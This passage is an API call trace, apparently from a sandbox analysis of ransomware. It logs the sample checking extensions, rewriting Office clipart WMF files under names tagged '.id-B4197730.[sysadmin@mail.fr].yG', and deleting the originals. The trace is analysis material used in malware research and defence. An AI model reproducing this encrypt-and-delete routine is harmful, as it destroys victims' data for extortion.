	[0183.763] lstrlenW (lpString=".7z") returned 3
	[0183.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.764] lstrlenW (lpString=".dbf") returned 4
	[0183.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.764] lstrlenW (lpString=".1cd") returned 4
	[0183.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.764] lstrlenW (lpString=".jpg") returned 4
	[0183.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.764] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.764] lstrlenW (lpString="EN00222_.WMF") returned 12
	[0183.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.765] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=12356) returned 1
	[0183.765] CloseHandle (hObject=0x3a0) returned 1
	[0183.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220
	[0183.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.765] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.765] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.766] GetLastError () returned 0x0
	[0183.766] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x3044, lpOverlapped=0x0) returned 1
	[0183.768] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x3050, lpOverlapped=0x0) returned 1
	[0183.769] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.769] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.769] SetEndOfFile (hFile=0x398) returned 1
	[0183.770] CloseHandle (hObject=0x398) returned 1
	[0183.770] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.770] SetEndOfFile (hFile=0x3a0) returned 1
	[0183.771] CloseHandle (hObject=0x3a0) returned 1
	[0183.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1
	[0183.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.772] lstrlenW (lpString=".doc") returned 4
	[0183.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.772] lstrlenW (lpString=".docx") returned 5
	[0183.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.772] lstrlenW (lpString=".pdf") returned 4
	[0183.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.772] lstrlenW (lpString=".xls") returned 4
	[0183.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.772] lstrlenW (lpString=".xlsx") returned 5
	[0183.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.772] lstrlenW (lpString=".ppt") returned 4
	[0183.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.772] lstrlenW (lpString=".zip") returned 4
	[0183.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.773] lstrlenW (lpString=".rar") returned 4
	[0183.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString=".bz2") returned 4
	[0183.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString=".7z") returned 3
	[0183.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.773] lstrlenW (lpString=".dbf") returned 4
	[0183.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.773] lstrlenW (lpString=".1cd") returned 4
	[0183.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.773] lstrlenW (lpString=".jpg") returned 4
	[0183.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.773] lstrlenW (lpString=".doc") returned 4
	[0183.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString=".docx") returned 5
	[0183.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.773] lstrlenW (lpString=".pdf") returned 4
	[0183.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.773] lstrlenW (lpString=".xls") returned 4
	[0183.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.774] lstrlenW (lpString=".xlsx") returned 5
	[0183.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.774] lstrlenW (lpString=".ppt") returned 4
	[0183.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.774] lstrlenW (lpString=".zip") returned 4
	[0183.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.774] lstrlenW (lpString=".rar") returned 4
	[0183.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.774] lstrlenW (lpString=".bz2") returned 4
	[0183.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.774] lstrlenW (lpString=".7z") returned 3
	[0183.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.774] lstrlenW (lpString=".dbf") returned 4
	[0183.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.774] lstrlenW (lpString=".1cd") returned 4
	[0183.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0183.774] lstrlenW (lpString=".jpg") returned 4
	[0183.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.774] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.774] lstrlenW (lpString="EN00242_.WMF") returned 12
	[0183.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.775] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=6780) returned 1
	[0183.775] CloseHandle (hObject=0x3a0) returned 1
	[0183.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220
	[0183.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.776] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.776] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.777] GetLastError () returned 0x0
	[0183.777] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x1a7c, lpOverlapped=0x0) returned 1
	[0184.117] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x1a80, lpOverlapped=0x0) returned 1
	[0184.119] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.119] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.119] SetEndOfFile (hFile=0x398) returned 1
	[0184.119] CloseHandle (hObject=0x398) returned 1
	[0184.119] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.119] SetEndOfFile (hFile=0x3a0) returned 1
	[0184.120] CloseHandle (hObject=0x3a0) returned 1
	[0184.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1
	[0184.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.122] lstrlenW (lpString=".doc") returned 4
	[0184.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString=".docx") returned 5
	[0184.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.122] lstrlenW (lpString=".pdf") returned 4
	[0184.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString=".xls") returned 4
	[0184.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.122] lstrlenW (lpString=".xlsx") returned 5
	[0184.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.122] lstrlenW (lpString=".ppt") returned 4
	[0184.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.122] lstrlenW (lpString=".zip") returned 4
	[0184.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.122] lstrlenW (lpString=".rar") returned 4
	[0184.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString=".bz2") returned 4
	[0184.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString=".7z") returned 3
	[0184.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.122] lstrlenW (lpString=".dbf") returned 4
	[0184.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.122] lstrlenW (lpString=".1cd") returned 4
	[0184.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.123] lstrlenW (lpString=".jpg") returned 4
	[0184.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.123] lstrlenW (lpString=".doc") returned 4
	[0184.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.123] lstrlenW (lpString=".docx") returned 5
	[0184.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.123] lstrlenW (lpString=".pdf") returned 4
	[0184.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.123] lstrlenW (lpString=".xls") returned 4
	[0184.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.123] lstrlenW (lpString=".xlsx") returned 5
	[0184.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.123] lstrlenW (lpString=".ppt") returned 4
	[0184.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.123] lstrlenW (lpString=".zip") returned 4
	[0184.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.123] lstrlenW (lpString=".rar") returned 4
	[0184.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.123] lstrlenW (lpString=".bz2") returned 4
	[0184.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.123] lstrlenW (lpString=".7z") returned 3
	[0184.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.123] lstrlenW (lpString=".dbf") returned 4
	[0184.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.124] lstrlenW (lpString=".1cd") returned 4
	[0184.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0184.124] lstrlenW (lpString=".jpg") returned 4
	[0184.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.124] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.124] lstrlenW (lpString="FD00096_.WMF") returned 12
	[0184.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0184.124] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=37390) returned 1
	[0184.125] CloseHandle (hObject=0x3a0) returned 1
	[0184.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220
	[0184.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0184.126] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.126] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0184.127] GetLastError () returned 0x0
	[0184.127] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x920e, lpOverlapped=0x0) returned 1
	[0184.128] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x9210, lpOverlapped=0x0) returned 1
	[0184.130] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.130] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.130] SetEndOfFile (hFile=0x398) returned 1
	[0184.130] CloseHandle (hObject=0x398) returned 1
	[0184.130] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.131] SetEndOfFile (hFile=0x3a0) returned 1
	[0184.132] CloseHandle (hObject=0x3a0) returned 1
	[0184.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1
	[0184.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.133] lstrlenW (lpString=".doc") returned 4
	[0184.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.133] lstrlenW (lpString=".docx") returned 5
	[0184.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.133] lstrlenW (lpString=".pdf") returned 4
	[0184.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.133] lstrlenW (lpString=".xls") returned 4
	[0184.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.133] lstrlenW (lpString=".xlsx") returned 5
	[0184.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.133] lstrlenW (lpString=".ppt") returned 4
	[0184.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.133] lstrlenW (lpString=".zip") returned 4
	[0184.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.133] lstrlenW (lpString=".rar") returned 4
	[0184.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.133] lstrlenW (lpString=".bz2") returned 4
	[0184.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.134] lstrlenW (lpString=".7z") returned 3
	[0184.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.134] lstrlenW (lpString=".dbf") returned 4
	[0184.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.134] lstrlenW (lpString=".1cd") returned 4
	[0184.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.134] lstrlenW (lpString=".jpg") returned 4
	[0184.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.134] lstrlenW (lpString=".doc") returned 4
	[0184.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.134] lstrlenW (lpString=".docx") returned 5
	[0184.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.134] lstrlenW (lpString=".pdf") returned 4
	[0184.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.134] lstrlenW (lpString=".xls") returned 4
	[0184.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.135] lstrlenW (lpString=".xlsx") returned 5
	[0184.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.135] lstrlenW (lpString=".ppt") returned 4
	[0184.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.135] lstrlenW (lpString=".zip") returned 4
	[0184.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.135] lstrlenW (lpString=".rar") returned 4
	[0184.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.135] lstrlenW (lpString=".bz2") returned 4
